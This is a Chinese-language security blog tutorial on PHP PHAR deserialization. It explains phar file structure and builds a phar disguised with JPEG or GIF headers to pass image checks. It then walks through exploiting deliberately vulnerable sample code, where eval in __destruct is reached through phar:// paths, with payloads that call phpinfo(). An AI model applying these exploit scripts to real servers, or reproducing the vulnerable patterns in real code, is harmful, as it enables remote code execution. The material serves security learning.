phar反序列化学习

PHAR反序列化学习

PHAR介绍

什么是phar

phar文件是一种压缩文件,不需要解压即可以运行php应用。用户自定义的meta-data会以序列化形式存储在phar文件中的manifest部分;当使用phar://协议来解析phar文件时,便会对phar文件中的manifest部分进行反序列化。其反序列化原因是,在PHP源码phar.c#618处,调用了:

1
if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {

phar文件结构:

1
2
3
4
5
6
7
8
9
10
11
1.stub
phar 扩展识别的标志 格式为 xxx<?php xxx; __HALT_COMPILER();?>

2.manifest
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化 的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。

3.contents
压缩文件的内容

4.signature
文件的签名内容

phar的简单使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class User{
var $name;
function __destruct(){
echo "CyzCc";
}
}

@unlink("test.phar");
$phar = new Phar("test.phar");//定义phar文件的文件名
$phar->startBuffering();// 启动缓冲Phar写操作
$phar->setStub("<?php __HALT_COMPILER(); ?>");//设置存根,即设置a stub的内容
// 增加gif文件头
/* $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); */
$o = new User();
$o->name = "test";
$phar->setMetadata($o);//设置phar归档元数据
$phar->addFromString("test.txt", "test");//以字符串的形式添加一个文件到 phar 档案//停止缓冲对Phar归档文件的写请求,并将更改保存到磁盘
$phar->stopBuffering();//停止缓冲对Phar归档文件的写请求,并将更改保存到磁盘
?>

这里可能会报错:

disabled by the php.ini setting phar.readonly

改一下php.ini就可以了

1
2
3
[Phar]
; http://php.net/phar.readonly
phar.readonly = Off


从上面可以看到,有一部分是序列化之后的内容,也就是manifest或者说是meta-dataphar序列化原理

如果要求上传真实图片,我们可以通过以下脚本构造,这样就可以生成一张正常的图片来绕过getimagesize的检测

可以通过这个思路构造一个图片以下是脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class TestObject {}

$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();

phar反序列化原理

使用phra://伪协议读取文件的时候,文件会被解析成phar对象,这个时候,刚才那部分的序列化的信息就会被反序列化,这就是漏洞的原理。
例:

1
2
3
4
5
6
7
8
9
10
<?php
class User{
var $name;
function __destruct(){
echo "这是析构函数";
}
}
$file = "phar://test.phar";
@file_get_contents($file);
?>


当我们运行时调用了User类的析构函数

漏洞的简单利用

一、

被攻击代码:

1
2
3
4
5
6
7
8
9
10
<?php
$test = $_GET['test'];

class User{
var $name;
function __destruct(){
eval($this->name);
}
}
file_get_contents($test);

攻击代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class User{
var $name="phpinfo();";
}
@unlink("2.phar");
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new User();
$phar->setMetadata($o);
$phar->addFromString("text.txt", "test");
$phar->stopBuffering();
?>


成功调用了__destruct()方法,导致执行了eval()函数。
二、

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
upload_file.php
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];

if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}

实现了一个简单的上传功能,只允许上传 .gif 文件。

1
2
3
4
5
6
7
8
9
10
11
file_un.php
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);

这里定义了一个类,在 __destruct 方法中会调用 eval 来执行类属性中的代码。

file_exists 的参数我们可控,所以可以通过 phar 来反序列化 AnyClass , 进而实现 代码执行。

利用步骤

首先构造一个 phar文件并上传到服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this->output);
}
}

$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar->addFromString('test.txt','test'); //添加要压缩的文件
$object = new AnyClass();
$object->output = 'phpinfo();';
$phar->setMetadata($object); //将自定义meta-data存入manifest
$phar->stopBuffering();
?>

然后把 phar.phar 上传
最后访问 file_un.php, 使用 phar:// 来触发反序列化。

参考链接:https://xz.aliyun.com/t/6258

文章作者:CyzCc
最后更新:2020年04月10日 19:04:57
原始链接:https://cyzcc.vip/2020/04/10/phar/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------